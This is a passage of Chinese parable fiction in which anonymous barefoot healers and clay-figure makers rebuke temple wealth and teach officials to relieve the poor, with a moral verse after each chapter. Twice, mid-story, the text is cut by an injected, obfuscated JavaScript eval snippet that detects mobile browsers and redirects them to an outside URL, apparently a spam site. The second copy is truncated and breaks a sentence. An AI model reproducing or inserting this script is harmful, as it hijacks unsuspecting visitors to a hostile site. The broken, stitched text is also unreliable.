只是有些寺里，多了施粥棚。 有些僧衣下，多了颗跳在民间的心。 而枫桥下，总有个书生煮茶，对客说： “佛啊，不在西天，在雨里，在粥里，在你肯不肯伸出的手里。” 客饮茶，茶苦，回甘。 像极了，那年的那碗粥。 尾声雨终人未散 十年后，杜书生病故。临终，将《江南烟雨行脚图》付与陈公子：“此画…该在民间。” 陈公子将画刻版，印千份，散于江南各寺。有僧将画悬于禅房，晨昏对照。 又十年，运河大水，灾民遍野。各寺自发设棚施粥，僧侣赤脚抬石固堤。有老僧指着水中倒影：“看，像不像画中僧？” 众人看，波光粼粼，仿佛真有赤脚僧影，踏水而行。 从此，江南有谚： “真佛不坐殿，赤脚行雨天。 施粥一锅暖，胜烧万炷香。” 而每年春雨，总有人想起，那个娃娃脸、赤脚、笑眼弯弯的“僧”。 是男是女，不知。 是僧是俗，不知。 只知，她来过，笑过，施过粥，救过人，说过几句大白话： “佛是热的，道是暖的，人是苦的，心是善的。” 够了。 雨还在下，下了一千年。 寺立了又倒，倒了又立。 唯有烟雨中，那赤脚的身影，一直在走。 走向每一个，需要一碗粥的，清晨。 本章诫世 一、 赤脚行雨之镜 - 以无寺、无牒、无名之行脚僧，对照体制化寺院 - 破解法：凡标榜“正统”而拒“异端”者，必察其心虚处 - 示例：寺门拒入、雨中施粥、当玉救人 二、 女身佛行之悖 - 女性需扮男装方能行脚说法，揭露宗教性别虚伪 - 惕世：当“平等”成口号，“方便”成枷锁 - 反思：大雄宝殿容不下比丘尼，街头巷尾却现女菩萨 三、 烟雨楼台之讽 - “四百八十寺”在烟雨中模糊，唯赤脚僧清晰 - 深层隐喻：宗教建筑愈宏伟，真精神愈稀薄 - 终极质问：佛在琉璃瓦下，还是在施粥棚中？ 行脚偈： 江南烟雨柳如丝，赤脚行来不觉迟。 寺门拒入因衣破，锅前愿施是心慈。 玉环可当救人命，真佛原不坐莲池。 莫道僧俗无分别，一碗热粥即慈悲。 后世叹： 大丰三年春水生，姑苏城外画僧行。 寒山寺前粥犹热，枫桥月下语自清。 金箔贴佛终是幻，玉环救人才为诚。 十年烟雨江南路，犹见赤脚雨中轻。 正是： 千里莺啼绿映红，水村山郭酒旗风。 南朝四百八十寺，多少楼台烟雨中。 寺中有僧不读经，雨中无伞自擎灯。 莫问真佛在何处，且看赤脚过人生。 21. 长安寻佛谳 楔子无名人 大秦十年春，长安西市来了个卖泥人的。摊子摆在慈恩寺外，泥捏得奇——不捏菩萨罗汉，专捏市井人物：挑粪的、要饭的、杀猪的、唱曲的，个个眉眼生动，还题着歪诗。 最奇的是一组“寻佛图”：第一尊是锦衣香客跪拜金佛，题“佛在西天”；第二尊是同一个人蹲着喂街边病丐，题“佛在眼前”；第三尊只剩个空蒲团，题“佛在何处？” 摊主是个少年郎，十六七模样，娃娃脸，分不出男女，整日笑嘻嘻的。问他名姓，说“我叫喂、哎、那位都行”；问来历，说“从脚底板来”；问泥人卖价，伸出一指——一文钱一个，童叟无欺。 慈恩寺知客僧了凡路过，见泥人讽刺香客，大怒：“哪来的野小子，谤佛辱僧？” 少年抬头，眼如清泉：“师父，我捏的是人，怎是谤佛？” “这…这题诗分明是讥讽！” “诗说实情呀。”少年拿起“佛在眼前”那尊，“您看，这人喂乞丐，是不是比跪拜更像佛做的事？” 了凡语塞，拂袖而去。少年也不恼，继续捏泥。晌午，来了个瘸腿老丐，盯着泥人发呆。少年拿了个“挑粪人”给他：“送你，不要钱。” 老丐颤声：“小哥…你捏的，是我年轻时候。” “哦？那您讲讲，挑粪苦不苦？” “苦，臭，人嫌。”老丐蹲下，“可庄稼要粪，人要吃饭。没有挑粪的，哪有拜佛的？” “对喽！”少年拍手，“您这才是真佛理——佛不要香，人要粪，粪养粮，粮养人，人拜佛。转一圈，佛是您供的。” 老丐愣住，继而大笑，笑着笑着，哭了。 一、 慈恩寺外 从那天起，少年泥人摊前，常聚些怪人：有输了钱的赌棍，有死了老伴的老汉，有被逐出家门的逆子。来了也不买泥人，蹲着说话。少年听着，偶尔插一句，句句戳心窝。 赌棍说手气背，少年捏个“剁手人”给他：“剁了就不赌了，敢么？” 赌棍哆嗦。 老汉说想跳河，少年捏对泥娃娃：“这是你孙子？你死了，他哭谁？” 老汉掩面。 逆子说爹狠心，少年捏个弯腰锄地的老农：“这是你爹？他腰怎么弯的？” 逆子语塞。 一来二去，慈恩寺的香客，分了两拨。一拨进寺烧香，一拨在摊前说话。了凡气得跳脚，报官说“妖人聚众”。长安府法曹参军韩愈——与唐贤同名不同人，是个认死理的——亲自来查。 韩参军到摊前，见少年正给个哭妇捏泥人。妇说丈夫宠妾虐她，少年捏了个“三人行”：夫在中间，左妻右妾，妻捧饭，妾捧酒，夫两碗都接，噎得翻白眼。 妇破涕为笑。少年说：“大姐，饭要抢着吃才香。你且把饭做得再香些，他若不回头，是他没福，饿死拉倒。” 韩愈咳嗽一声。少年抬头：“官爷买泥人？一文一个。” “本官问你，姓甚名谁，籍贯何处？” “我叫泥人张…王…李都行。籍贯嘛，”少年指地上泥土，“长安土生的。” “休要嬉皮笑脸！有人告你妖言惑众。” “妖言？”少年歪头，“我说‘做人要像人’，这是妖言？那什么才是人言——‘拜佛能升官’？‘捐钱能消灾’？” 韩愈被噎住。他细看这少年，眉眼干净，不似奸邪，便道：“你既无恶意，何必在寺前生事？挪个地方吧。” “寺前好呀。”少年笑，“这里人多，苦人多。佛在寺里听不到苦，我在寺外听听，说几句人话，不行么？” “佛门清净地…” “不清净。”少年打断，指向寺门，“您看，进出的，多少是求升官发财的？多少是心里有鬼来买安心的？佛要真清净，该把门关了，谁也别进。” 韩愈竟无言以对。他拿起那尊“佛在何处”的空蒲团泥人，沉思片刻，放下三文钱：“这三个，我买了。” 少年却只收一文：“说好一文一个。官爷多给，是贿赂，我不要。” 韩愈深深看他一眼，走了。回衙对书吏说：“此子…不简单。” “要不要驱赶？” “不必。”韩愈摇头，“让他待着。长安城，需要这么个说人话的。” 二、 大佛开光 三月三，慈恩寺新铸铜佛开光。佛高丈六，用铜五万斤，信众捐金贴面，金光耀眼。方丈广济发了千张请柬，长安有头脸的都来了。 开光仪式在辰时。卯时，寺前已人山人海。少年泥人摊照摆，今日捏的是“众生相”：有踮脚看佛的，有挤掉鞋的，有偷人钱袋的，有被踩哭的娃。 韩愈奉命维持秩序，又见少年，蹙眉：“今日大典，莫生事。” “不生事，看热闹。”少年笑嘻嘻，捏了个“大佛瞪眼”，佛眼铜铃大，瞪着底下芸芸众生。 吉时到，钟鼓齐鸣。广济方丈登台，正要说法，忽听寺外墙根下，传来凄厉哭喊。是个老妇，抱着个病孩，跪求入寺：“方丈慈悲！让我儿进去拜拜，求佛保佑！” 知客僧拦着：“今日贵客满堂，闲杂莫入！” 老妇磕头：“我儿快死了…就求佛摸一下，一下就好！” 广济皱眉，示意给几个钱打发。少年忽然站起，朗声道：“方丈，佛说慈悲。这孩儿要死了，佛若真有灵，是该坐殿上受香火，还是该下来摸他一下？” 满场寂静。广济沉脸：“哪来的狂徒！” “狂徒不敢，是个捏泥人的。”少年走到老妇前，蹲身看那孩子，面如金纸，气若游丝。他伸手在孩子额上轻轻一摸：“小兄弟，佛摸过你了，不怕。” 说也奇，那孩子竟睁开眼，弱弱喊了声“娘”。 众人哗然。老妇喜极而泣。广济脸色铁青：“装神弄鬼！” 少年起身，对众香客道：“诸位看见没？方才我摸那一下，你们觉得是佛，还是人？” 有人嘀咕：“碰巧吧…” “对，碰巧。”少年点头，“佛渡人，也靠碰巧。可若连碰一下都不愿，这佛，是铜的，还是活的？” 他走到大佛前，仰头看。佛垂目，慈悲庄严。少年忽然伸手，在佛脚上拍了一巴掌。 “啪”一声脆响，惊得满场倒吸凉气。 “嗯，是铜的，冰凉。”少年甩甩手，“难怪，摸小孩是热的，摸佛是冷的。这佛，不如人暖。” 广济大怒：“捆了！送官！” 武僧涌上。韩愈急拦：“方丈息怒！今日大典，不宜动粗。” “他辱佛！” “他辱的是铜像，不是佛。”韩愈正色，“佛若连一巴掌都受不住，还渡什么众生？” 广济怔住。少年对韩愈一揖：“谢官爷。我走啦，这儿铜臭味太重，熏人。” 他收拾摊子，背起箱子，哼着小调走了。走前，将那尊“大佛瞪眼”泥人，放在寺门槛上。 佛眼瞪着寺内，也瞪着寺外。 三、 西市医心 少年没走远，在西市最脏的“丐窝”旁，又支起摊。这回不卖泥人，摆了个“问心摊”：一张破席，两个蒲团，谁有苦，来坐，他说几句。不要钱，但若带了吃食，分他一口也行。 来的人五花八门。有妓女问“何时能从良”，少年说“心净即从良，身在哪都一样”；有贪官问“如何睡得稳”，少年说“把贪的吐出来，就稳了”；有书生问“何时中举”，少年捏个“粪瓢”给他：“先挑三年粪，再谈圣贤书。” 话糙，理正。渐渐，丐窝成了“医心窝”，比寺庙还热闹。 这日来了个绸缎商，姓钱，愁眉苦脸。坐下就说：“大师，我上月捐了三百两金箔，给慈恩寺佛贴金。可生意还是亏，佛不保佑啊！” 少年正吃馍，含糊道：“佛不缺金，缺心眼。” “什么？” “你捐金时，想的是佛，还是生意？”少年咽下馍，“若是想生意，那是买卖，不是供养。买卖亏了，怪谁？” 钱商人愣住。 “城外流民，饿得吃土，你三百两，能救多少人？”少年问，“你救一人，是一功德；贴金佛身，佛未必知。哪个划算？” “可…都说捐佛功德大…” “谁说？和尚说的。”少年笑，“和尚要修庙，要金身，自然说捐佛好。佛要这些么？佛要人向善。你救人，就是向善，就是功德。” 钱商人沉思良久，起身一揖：“受教。”他真去城外设了粥棚。 三日后，他喜滋滋回来：“奇了！自施粥，主顾多了，账也顺了！” 少年摆手：“不是佛保佑，是你心宽了，人不躲你了。人心是秤，称得出善恶。” 消息传开，有几个香客，悄悄把捐寺的钱，转去施粥、义诊。慈恩寺的功德箱，眼见着瘦了。 了凡气得牙痒，又报官。韩愈这回不来了，只回四字：“多管闲事。” 四、 雨夜真佛 四月八佛诞，大雨。慈恩寺法会照办，只是香客少了三成——都去西市看“问心摊”了。 少年今日不摆摊，在丐窝棚里，给几个病丐熬药。药是野草根，他认得全，说“地上长的，都是药，看你会不会用”。 正熬着，棚外来了辆马车。车帘掀开，下来个老妇，锦衣华服，是当朝宰相裴度之母。老太太七十多了，挂杖走近：“小哥，老身…能坐坐么？” 少年挪出干地：“坐，但棚漏雨，您仔细着。” 裴母坐下，端详他良久：“你…就是那个说‘佛不如人暖’的少年？” “是我。” “你不怕？” “怕什么？怕佛怪罪？”少年搅药，“佛要怪，先怪那些借他名敛财的。我一个捏泥人的，怕啥。” 裴母笑了，皱纹舒展：“我儿裴度，官至宰相，可近日愁得很。他说，朝堂如泥潭，清不了，出不去。老身来问问，可有解法？” 少年递过碗热药：“老夫人先喝口，暖暖。” 裴母接过，尝了一口，苦得皱眉，却喝完了。 “药苦，可治病。”少年道，“朝堂是潭，您儿是莲。莲出淤泥，靠的是根干净，梗中通。根若不净，早烂了；梗若不中通，早憋死了。让他想想，根还净不净？梗还通不通？” 裴母一震，喃喃：“根…梗…” “对。做官如做人，心是根，行是梗。心净，行的正，哪怕在泥潭，也开得出花。心不净，行不正，金殿也是泥潭。” 裴母默然，良久起身，深揖一礼。少年避让：“使不得，折寿。” “受得。”裴母道，“这话，值万金。不，万金买不到。” 她上车离去。少年继续熬药。雨越下越大，棚顶漏得厉害。他将几个病丐挪到干处，自己坐在漏处，任雨淋。 有丐问：“小哥，你图啥？” “图个心安。”少年抹脸上雨水，“你们病好了，我心安；那老太太明白了，我心安。心安了，雨也是暖的。” 是夜，裴度连夜进宫，上《清源疏》，请查贪墨，裁冗员，减税赋。皇帝准奏，朝野震动。 知情人说，裴相那夜从宫中出来，不坐轿，步行回府，一路淋雨。到家对老母说：“娘，儿今日，才知什么是根净梗通。” 裴母笑：“是那少年教的？” “是雨教的。”裴度望向西市方向，“那少年，是雨中人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088173|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五、 泥归土 五月，少年忽然不见了。摊还在，泥人还在，人没了。丐窝的人说，昨夜还在熬药，今晨只剩张字条，炭笔写的： “泥人归土， 土生万物。 佛在泥中， 莫再寻吾。” 裴母命人寻，无果。韩愈也暗访，无迹。像一滴水，蒸发了。 唯留那些泥人，在西市传着。有买的，转赠的，供着的。慈恩寺悄悄撤了“捐金榜”，多了个“施药处”。了凡自请去施药处，见了乞丐，也会递碗热水了。 七月，流年不利。关中蝗灾，渭水泛滥，灾民涌向长安。朝廷开仓放粮，僧寺道观皆设粥棚。慈恩寺的棚最大，广济方丈亲自掌勺。 这日，棚前排着长队。有个小乞丐，五六岁，领了粥不喝，东张西望。了凡问：“找什么？” “找…找捏泥人的小哥哥。”小乞丐说，“他说，喝了粥，给他捏个泥人。” 了凡心中一动：“他…长得什么样？” “娃娃脸，笑笑的，手可巧了。”小乞丐比划，“他说，他是土里生的，还会回土里去。” 了凡望向远方，烟尘滚滚，灾民如蚁。 忽然，他看见个人影——在灾民队伍里，正帮个老人提行李。娃娃脸，破衣衫，赤着脚。是那少年！ 了凡急追过去，人影却一晃，不见了。问那老人，老人说：“是个好心娃，帮我提东西，说‘您慢慢走’，就走了。” “往哪去了？” 老人指指西方：“那边，说去灾区，那边苦人多。” 了凡呆立良久，回棚继续施粥。粥烫，他吹凉了递给下个灾民，忽然说：“小心烫。” 话出口，自己一愣——这是那少年常说的。 原来有些话，听多了，就种在心里了。 尾声佛是人间 三年后，韩愈调任离京。行前，独访慈恩寺。寺已大变，殿前多了“问心亭”，谁有苦，可亭中坐，有僧聆听。功德箱小了，旁立木牌：“捐钱不如捐力，可来施粥处帮忙。” 广济方丈老了，见韩愈，合十：“韩大人，老衲…悟了。” “悟了什么？” “佛是泥塑的，人是活着的。”广济指殿中铜佛，“那尊佛，还是冰的。可施粥的锅，是热的。热比冷，更像佛。” 韩愈点头，出寺。在西市“丐窝”旧址，如今成了“义学堂”，穷孩子在此识字。教书的是个老秀才，见他来，递上个布包。 “这是？” “那少年留下的。”老秀才说，“他走前，放我这，说若有官爷来问，给。” 布包打开，是个泥人，捏的是韩愈自己——着官服，蹲着给乞丐递粥。底刻八字： “佛是人间， 官是父母。” 韩愈眼眶一热。翻过泥人，背后还有行小字： “莫寻我，我在土中，在风中，在每一碗热粥的热气里。 若真想见佛，且看—— 谁在施粥，谁在救人，谁在说人话，做人事。 那人，便是佛。” 韩愈将泥人揣入怀中，上马出城。城外，春麦青青，农人正施肥。粪臭扑鼻，他却深吸一口。 是活着的气味。 是佛在泥土里的气味。 他忽然想起那少年的话： “佛要金身做甚？要的是人，活生生、有温度、会苦会笑的人。” 他打马前行。身后长安，钟声悠悠。 而更远的关中，蝗灾过了，水退了，田里又有了绿意。 有农人说，曾见个娃娃脸少年，在田埂上走，哼着歌： “佛在西天也在我， 我在土中也在天。 莫问何处寻真佛， 且看碗中粥可鲜？” 是梦，是真，无人知。 只知那歌，在田间传着。 只知那碗粥，是热的。 只知那佛，从未离开。 在每一寸土里，每一碗粥里，每一个伸手的人心里。 本章诫世 一、 泥人讽世之镜 - 以市井泥人对照金身佛像，以人间苦乐对照殿中香火 - 破解法：凡标榜“神圣”而远离尘土者，必察其虚 - 示例：捏“寻佛图”、题刺世诗、摆“问心摊” 二、 佛脚一巴掌之悖 - 拍铜佛脚言“不如人暖”，直指宗教物质化之弊 - 惕世：当信仰成为镀金生意，真义便在街头泥泞中 - 反思：大典金光与病丐哭声，哪个更近佛心？ 三、 根净梗通之喻 - 以莲喻官，根在心净，梗在行通 - 深层隐喻：任何高位者，若心根不净，终陷泥潭 - 终极质问：是佛殿需要金箔，还是人间需要热粥？ 泥人偈： 长安市上捏泥人，不捏菩萨捏世尘。 佛脚冰凉不如手，人心温暖即法身。 莫向西天寻宝相，且看东郭施粥盆。 泥人归土终是土，土生万物又逢春。 后世叹： 大秦十年春复春，慈恩寺外笑语频。 泥人捏出众生相，破席医好百病心。 佛诞日冷金身泪，雨夜棚暖药灶薪。 莫问少年何处去，碗中粥气即佛音。 正是： 长安三月柳絮扬，寺外泥人市井妆。 佛诞日冷拍铜脚，雨夜棚暖熬药汤。 根净梗通莲出水，粥热语平丐成康。 莫道真佛无处觅，且看谁在施粥忙。 22. 下凡破障谳 楔子无字碑 胜朝隆庆三年，开封府南郊乱坟岗，一夜之间多了块碑。 碑是青石，高五尺，无字。奇的是，碑前每日清晨都摆着新鲜贡品：有时是半块炊饼，有时是几颗野果，有时甚至是个破碗，碗里盛着清水。 守坟的老军说，子夜常听见碑旁有人说话，声如少年，又像女子，听不真切。胆大的去瞧，只见个影子，在月光下或坐或卧，对碑“说话”。 “说的啥？” “像是…讲故事。讲东街王婆媳不孝，西巷李四赌输钱，北关赵五卖假药…” “跟碑说这些？” “嗯，还说‘你记着，这都是人间的病’。” 一、 开封问病 消息传到开封府衙，通判沈清源，四十许，方脸细目，是个好较真的。他换了便服，夜访乱坟岗。 子时，月明。碑前真坐着个人，着灰布直裰，头发随意束着，看背影分不出男女年纪。正对碑言： “…所以说，王婆那媳妇，不是不孝，是穷。穷得只剩一口气，还要分给婆婆半口，心里怨，脸上就带出来了。这病根不在孝，在穷。” 声音清越，确像少年。 沈清源咳嗽一声。那人回头，月光下一张娃娃脸，眉眼干净得像刚洗过，笑问：“官爷也来问病？” “问什么病？” “人间百病。”那人指碑，“这碑是药方，专记病根。官爷若有病，说说，我记上。” 沈清源觉得荒唐，却鬼使神差开口：“开封府近日，有十七起盗案未破，算不算病？” “算，心病。”那人捡根树枝，在地上画，“盗为何盗？穷。穷从何来？税重、灾多、工少。官爷只抓盗，不治穷，是斩草不除根，春风吹又生。” “依你之见，当如何？” “减税、赈灾、兴工。”那人写得快，“让民有活路，盗自绝迹。这比派多少捕快都有用。” 沈清源沉吟：“你说得轻巧，税是朝廷定的，灾是天降的，工…” “工是人开的。”那人打断，“开封富商三十七户，仓廪堆霉米，为何不雇人修渠、铺路、建义塾？是不为，非不能。官爷若劝，劝得动一家，可活百人。” “你是谁？怎知这些？” “我是看病的。”那人起身，拍拍土，“白日走街串巷，夜里来此开方。官爷若信，明日此时，带卷开封户册来，我指给你看，病根在哪儿。” 言罢，走入坟茔深处，一晃不见了。 沈清源回衙，辗转难眠。次日，真带上户册，夜再去。那人已在碑前，就着月光翻册，指指点点： “看，东城三百户，有井十七口，六口苦，五口涩，能喝的只六口。水是病。” “西城五百匠户，今年接活不到三成，七成人闲半年。闲是病。” “南城寡妇巷，九十七户无男丁，靠缝补过活，针扎手，扎出血，血是病。” 他抬头，眼亮如星：“官爷，这些病，碑上记了。可开方的，是你们。” 沈清源冷汗涔涔。这些，他竟不知。 “你…究竟何人？” “无名无姓，是个郎中。”那人笑，“专治人间糊涂病。官爷今日清楚了些，就是药效。” 他合上册子，递还：“三日后，我来收‘药钱’——看官爷做了几件事，救了几个人。” 又走了。 沈清源立在碑前，良久。碑上依旧无字，可他仿佛看见，密密麻麻，写满人间疾苦。 二、 水井案 三日后，沈清源真做了件事：请东城富商周百万，出资打三口甜水井，分与苦水区。周百万起初不肯，沈清源说：“井以你名，碑以你功。” 周百万心动，捐了。井成那日，东城百姓提桶来取，欢声一片。沈清源夜访乱坟岗，那人已在，面前摆着碗清水。 “药钱。”那人推碗，“尝尝，甜否？” 沈清源饮一口，果甜。“你…怎知井成？” “我尝了。”那人指自己唇，“今日走了东城，喝了三瓢。一瓢解渴，两瓢暖心，三瓢…看人笑，我也笑。” “这便是药效？” “是引子。”那人正色，“一口井，解三百户的渴。可开封有千户、万户，渴的，不止是嘴，是活路，是盼头。官爷，这才刚开始。” 沈清源默然。那人又道：“西城匠户闲，是因河道淤塞，货船难行。若疏浚河道，需工五百，工期三月，匠户有活，货船通畅，商税可增。一举三得。” “钱从何来？” “南城寡妇巷，九十七户，会缝补，善织绣。若官府设‘妇工坊’，收购绣品，销往江南，本钱我出。”那人自怀中掏出个布包，打开，是颗明珠，鸽卵大，夜光莹莹，“这够本。赚了，归她们；赔了，算我的。” 沈清源惊：“你究竟…” “我说了，是郎中。”那人将明珠塞他手中，“药不能停，病要根治。明日，你去办这两件事。七日后，我来看效。” 他又走了。沈清源握珠，温润如玉，却烫手。 七日后，河道开工，妇工坊挂牌。乱坟岗碑前，那人听着沈清源讲述，频频点头。 “好，脉象渐稳。”他闭目，似在诊脉，“可还有一病，在肺腑。” “何病？” “心病。”那人睁眼，“开封百姓，见官如见虎，有苦不敢言，有冤不敢诉。这是堵了心窍，久了，要出大事。” “如何治？” “简单。”那人起身，“明日午时，你坐衙门口，不升堂，不穿官服，摆张桌子，挂个牌——‘听苦处’。谁有苦，来说，你听，能办的办，不能办的记下。三日，只要三日，你看民心通不通。” 沈清源犹豫：“这…成何体统？” “体统比命重要？”那人反问，“体统是衣，民心是身。衣破了可补，身死了，衣给谁穿？” 言罢，拂袖而去。 三、 衙前听苦 沈清源真听了。翌日午时，开封府衙前摆桌挂牌，他坐当中。起初无人敢近，渐有胆大的，说赋税重，说胥吏恶，说冤狱苦。沈清源记了满满三本。 第三日，来了个老农，背着一捆枯稻，往地上一掷：“大人！今年蝗灾，粮绝收，可税吏还来催粮！我儿子交不出，被拘了，地里稻子没人收，全烂了！这…这还让不让人活？” 声泪俱下。围观者数百，皆眼巴巴看着。 沈清源起身，对众揖礼：“诸位，沈某无能，让父老受苦。今日在此立誓：欠粮者，今年全免；被拘者，即刻放归。税吏贪酷者，三日内查实革办！” 众欢呼。老农跪地磕头，沈清源扶起，自掏腰包，赠银五两：“先买粮，挺过今冬。” 消息传开，百姓称“沈青天”。是夜，乱坟岗。那人听罢，抚掌：“脉通了，气血活了。这病，好了三成。” “才三成？” “病去如抽丝。”那人捡根枯枝，在地上画图，“你看，开封如人身。头是府衙，心是民心，手足是百姓。如今心脑通了，可手足还弱——弱在无恒产，无恒业，无恒心。” “如何强？” “均田，劝工，兴学。”那人画三个圈，“田均则民安，工兴则民富，学兴则民智。三事成，开封可活。” 沈清源苦笑：“这…非我一人能办。” “那就办能办的。”那人目光炯炯，“开封有学田千亩，被豪强侵占七百。你收回来，办义学，穷孩子免费读。有荒地三千亩，你招流民开垦，三年不征税。有废弃作坊十七处，你低价租与匠户，减其租金。这些，你办得到。” 沈清源怔住。这些数据，他这通判竟不知，此人如数家珍。 “你…究竟何人？”他第三次问。 那人笑了，笑出两个酒窝：“我是你心里那个‘该做点什么’的声音。你听见了，做了，我就是你；你听不见，不做，我就走了，找下一个能听见的人。” 他起身，拍拍灰：“药方开完了，药也吃了。往后，靠你自己了。记住——” 他指那无字碑：“这碑，会一直在这儿。你做一件实事，碑上就多一道痕，是功德痕。你做一件虚事，碑上就多一道裂，是罪孽纹。天地为证，人心为秤，你好自为之。” 言罢，走入夜色，再无踪影。 沈清源在碑前坐到天明。晨光中，他仿佛看见，碑上真有隐隐约约的纹路，像字，又像画。 他伸手去摸，冰凉，光滑。 无字。 四、 三事功成 往后三月，沈清源真办了那三件事。 学田收回，豪强闹到知府那儿，沈清源拿出地契原档，豪强哑口。义学开张那日，三百孩童入学，书声琅琅。 荒地开垦，流民闻讯而来，领种子，领农具，田里有了绿意。 作坊重启，机杼声、打铁声、锯木声，响彻西城。 开封活了。乞丐少了，盗案稀了，街市热闹了。知府上表为沈清源请功，批文下来，升开封府尹。 升迁那日，沈清源独坐府衙，却无喜色。幕僚问：“大人高升，为何不乐？” “我在想，”沈清源道，“这些事，本该早做。为何从前不做？是不知道，还是…装不知道？” 幕僚语塞。 是夜，沈清源又去乱坟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“先生，我老了，病治不动了。可这人间，病好像…越来越多了。贪的、嗔的、痴的、慢的、疑的…五毒俱全。这病，怎么治？” 风吹过，碑无声。 他苦笑，起身欲走。忽见碑底，不知谁用炭画了行小字： “病在人间，药在人间。 治病者，是人； 服药者，是人。 人人可医，人人需医。 医好一个，是一个。 医不完，也要医。 因为—— 人间值得。” 字迹稚嫩，像孩童所写。 沈清源看了良久，大笑，笑出泪。 他掸掸衣尘，对碑一揖：“受教。人间值得，那就…继续医。” 他走了，背微驼，步却稳。 碑静静立着。 无字，却像说了千言万语。 碑旁野花，岁岁枯荣。 就像这人间，病痛不断，希望也不断。 总有那么个“看病先生”，在某个角落，对某块“碑”，说着： “来，说说你的病。我听着，记着，想办法，治着。” 本章诫世 一、 无字碑问病之镜 - 以无字碑为“病历”，记录人间疾苦 - 破解法：凡标榜“太平盛世”者，必察其暗处疾苦 - 示例：水井、匠闲、妇贫三病，皆源于制度缺失 二、 看病先生之悖 - 无名无姓无来历，却比官吏更知民瘼 - 惕世：真知常在民间，真医常是布衣 - 反思：当官僚系统失灵，救赎或起于草野 三、 药在人间之喻 - 以明珠换妇工坊，喻“资本当为民生所用” - 深层隐喻：社会病需系统性治疗，非零星施舍 - 终极指向：治标在施粥，治本在均田、劝工、兴学 问病偈： 隆庆三年秋风凉，乱坟岗上碑无字。 夜来童子说民瘼，晨起官府开药方。 一井能解三百渴，三事可活半城荒。 莫道人间病难治，且看心有几分光。 后世叹： 胜朝隆庆开封府，乱岗碑前月照途。 无名童子说百病，有胆通判开三疏。 学田收归书声起，作坊重启铁锤呼。 莫问郎中何处去，人间疾苦是药炉。 正是： 开封城外乱坟岗，无字碑前月如霜。 夜夜有人说疾苦，朝朝见吏开药方。 一井能活三百户，三疏可暖半城凉。 莫道人间无妙手，妙手原在众生旁。 23. 辨鬼谳 楔子鬼市郎中 永昌七年，济南府出了桩奇闻。 城西“鬼市”——实是五更开市的旧货集市——来了个走方郎中，设摊不卖药，专“诊鬼”。摊前挂布幡，上书： “专治心鬼：贪嗔痴慢疑，五鬼缠身，药到病除。” 郎中着灰布袍，戴破巾，面如少年，声若童子。摊上无药材，只一叠黄纸，一砚墨，几支笔。谁来“诊鬼”，他便问症，提笔在黄纸上写几字，递给来者：“照方抓药，三剂可愈。” “药”也奇：有让“捐三钱与乞丐”的，有让“向仇家赔个不是”的，有让“闭门思过三日”的。花钱的少，费事的多。 众人笑他疯癫。可怪的是，照方做了的，真就神清气爽，百病消减。一传十，十传百，鬼市“诊鬼郎中”名声鹊起。 一、 贪鬼牵袖 这日，来了个米商，姓钱，面黄肌瘦，坐摊前就说：“先生，我近来寝食难安，一闭眼就见满屋白米变黑，虫蛀鼠咬。请了道士画符，和尚念经，无用。怕是…宅子不净？” 郎中抬眼打量：“伸手。” 钱米商伸手。郎中不号脉，只看掌纹，又观其目，忽道：“你三日前，是不是扣了批潮米，掺在好米里卖了？” 钱米商脸色一变：“你…你怎知？” “我不但知，”郎中提笔，在黄纸上写，“我还知，那买米的是个孝子，买给病母熬粥。母食后腹泻，如今还卧病。” 笔落，纸上现字： “方：贪鬼附体。 药：退米钱，赔药资，侍奉汤药至愈。 忌：再掺假。” 钱米商汗出如浆：“我…我退钱就是…” “退钱是还债，不是治病。”郎中直视他，“贪鬼在你心里，见利忘义，牵你衣袖，推你作恶。你不驱它，它早晚啃你心肝——那满屋黑米，就是心肝烂了的相。” 钱米商跌坐在地，良久，颤声问：“若…若照方做，真能好？” “你做了，夜里能睡安稳，便是好了三成。剩下七成，要看往后。”郎中递方，“记住，贪是饿鬼，越喂越饿。唯有舍，能饱。” 钱米商揣方离去。三日后，他搀着个老妇来摊前，老妇正是那病母，已能行走。钱米商对郎中长揖：“先生，我照方做了，这两夜，睡得踏实。那黑米…不见了。” 郎中点头：“贪鬼已去。但心田要常耕，莫再让杂草生。” 老妇欲跪谢，郎中扶住：“大娘该谢你儿子——他心灯复明，照退了鬼。” 二、 嗔鬼鼓舌 又几日，来了一对夫妻。丈夫姓赵，铁匠，目赤面红，进门就吼：“先生！给我诊诊，我是不是撞了煞？近来点火就着，昨日为个破碗，差点砸了铺子！” 妻子在旁垂泪：“他从前不这样…” 郎中让赵铁匠伸手，看罢，道：“你手上，可有条新疤？” 赵铁匠怔住，抬右手，虎口果有条疤：“你怎知？上月打铁，走神烫的。” “不是走神，是分心。”郎中提笔写方，“你分心想什么？想东街王寡妇，对不对？” 赵铁匠如遭雷击，妻脸色煞白。 “你看王寡妇，觉着自家妻丑；听王寡妇笑，觉着自家妻烦。看什么都不顺眼，点火就着——这是嗔鬼作祟。”郎中落笔： “方：嗔鬼缠心。 药：向妻叩首认错，三日不语，只看妻目。 忌：再起邪念。” 赵铁匠面红耳赤，欲辩，郎中摆手：“莫辩，辩就是嗔鬼鼓舌。你且想想，你妻嫁你时，你也嫌丑？你打铁晚归，谁给你留热饭？你病卧在床，谁侍奉汤药？” 妻已泣不成声。赵铁匠呆立良久，忽然对妻跪下，连磕三头：“我…我混账！” 郎中递方：“三日不语，只看妻目。看她眼里，是你从前的影子，还是如今的鬼相。” 夫妻相携而去。三日后，二人又来，手牵手。赵铁匠目已清明，憨笑：“先生，我看清了。我妻眼里，一直是我，只是我眼里进了沙，看成别人。” 郎中笑：“嗔鬼最怕真心。真心在，鬼自散。” 三、 痴鬼迷心 